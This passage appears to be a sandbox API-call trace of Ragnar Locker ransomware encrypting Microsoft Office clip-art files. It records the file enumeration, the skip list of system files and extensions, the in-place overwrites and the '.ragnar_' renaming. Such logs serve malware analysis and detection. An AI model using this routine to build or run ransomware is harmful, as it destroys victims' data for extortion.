lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" [0085.826] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.ragnar_FD7BD9FC" [0085.826] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.827] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0085.827] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.827] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198226.WMF" | out: lpString1="J0198226.WMF") returned="J0198226.WMF" [0085.827] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned=".WMF" [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="autorun.inf") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="boot.ini") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="bootfont.bin") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="bootsect.bak") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="bootmgr") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="bootmgr.efi") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="bootmgfw.efi") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="desktop.ini") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="iconcache.db") returned 1 [0085.827] lstrcmpiW (lpString1="J0198226.WMF", lpString2="ntldr") returned -1 [0085.828] lstrcmpiW (lpString1="J0198226.WMF", lpString2="ntuser.dat") returned -1 [0085.828] lstrcmpiW (lpString1="J0198226.WMF", lpString2="ntuser.dat.log") returned -1 [0085.828] lstrcmpiW (lpString1="J0198226.WMF", lpString2="ntuser.ini") returned -1 [0085.828] lstrcmpiW (lpString1="J0198226.WMF", lpString2="thumbs.db") returned -1 [0085.828] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.828] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.828] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.828] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.828] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.828] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.828] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf")) returned 0x20 [0085.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.828] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=41906) returned 1 [0085.828] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa3a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.828] GetProcessHeap () returned 0x580000 [0085.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.828] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.830] VirtualAlloc (lpAddress=0x0, dwSize=0xa3b2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.830] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.830] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.830] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa3b2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa3b2, lpOverlapped=0x0) returned 1 [0085.832] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.832] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa3b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.832] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa3b2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa3b2, lpOverlapped=0x0) returned 1 [0085.832] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa3b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.832] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.832] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa3b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.832] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.833] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.833] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.833] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.833] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.833] GetProcessHeap () returned 0x580000 [0085.833] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.833] CloseHandle (hObject=0xf4) returned 1 [0085.833] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" [0085.833] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.ragnar_FD7BD9FC" [0085.833] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.834] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0085.834] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.834] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198234.WMF" | out: lpString1="J0198234.WMF") returned="J0198234.WMF" [0085.834] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned=".WMF" [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="autorun.inf") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="boot.ini") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="bootfont.bin") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="bootsect.bak") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="bootmgr") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="bootmgr.efi") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="bootmgfw.efi") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="desktop.ini") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="iconcache.db") returned 1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="ntldr") returned -1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="ntuser.dat") returned -1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="ntuser.dat.log") returned -1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="ntuser.ini") returned -1 [0085.834] lstrcmpiW (lpString1="J0198234.WMF", lpString2="thumbs.db") returned -1 [0085.834] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.834] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.834] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.834] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.834] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.834] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.834] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.834] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf")) returned 0x20 [0085.834] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.835] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42654) returned 1 [0085.835] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa695, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.835] GetProcessHeap () returned 0x580000 [0085.835] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.835] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.837] VirtualAlloc (lpAddress=0x0, dwSize=0xa69e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.837] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.837] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.837] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa69e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa69e, lpOverlapped=0x0) returned 1 [0085.851] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.852] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa69e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.852] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa69e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa69e, lpOverlapped=0x0) returned 1 [0085.853] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa69e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.853] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.854] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa69e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.854] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.854] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.854] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.854] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.854] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.854] GetProcessHeap () returned 0x580000 [0085.854] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.854] CloseHandle (hObject=0xf4) returned 1 [0085.854] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" [0085.854] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.ragnar_FD7BD9FC" [0085.854] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.855] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0085.855] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.855] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0198372.WMF" | out: lpString1="J0198372.WMF") returned="J0198372.WMF" [0085.855] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned=".WMF" [0085.855] lstrcmpiW (lpString1="J0198372.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="autorun.inf") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="boot.ini") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="bootfont.bin") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="bootsect.bak") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="bootmgr") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="bootmgr.efi") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="bootmgfw.efi") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="desktop.ini") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="iconcache.db") returned 1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="ntldr") returned -1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="ntuser.dat") returned -1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="ntuser.dat.log") returned -1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="ntuser.ini") returned -1 [0085.856] lstrcmpiW (lpString1="J0198372.WMF", lpString2="thumbs.db") returned -1 [0085.856] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.856] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.856] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.856] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.856] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.856] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.856] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf")) returned 0x20 [0085.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.857] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=28572) returned 1 [0085.857] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6f93, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.857] GetProcessHeap () returned 0x580000 [0085.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.857] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.858] VirtualAlloc (lpAddress=0x0, dwSize=0x6f9c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.859] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.859] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x6f9c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x6f9c, lpOverlapped=0x0) returned 1 [0085.860] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.860] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6f9c, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.860] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x6f9c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x6f9c, lpOverlapped=0x0) returned 1 [0085.860] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6f9c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.860] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.861] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6f9c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.861] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.861] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.861] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.861] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.861] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.861] GetProcessHeap () returned 0x580000 [0085.861] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.861] CloseHandle (hObject=0xf4) returned 1 [0085.861] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" [0085.861] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.ragnar_FD7BD9FC" [0085.861] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft 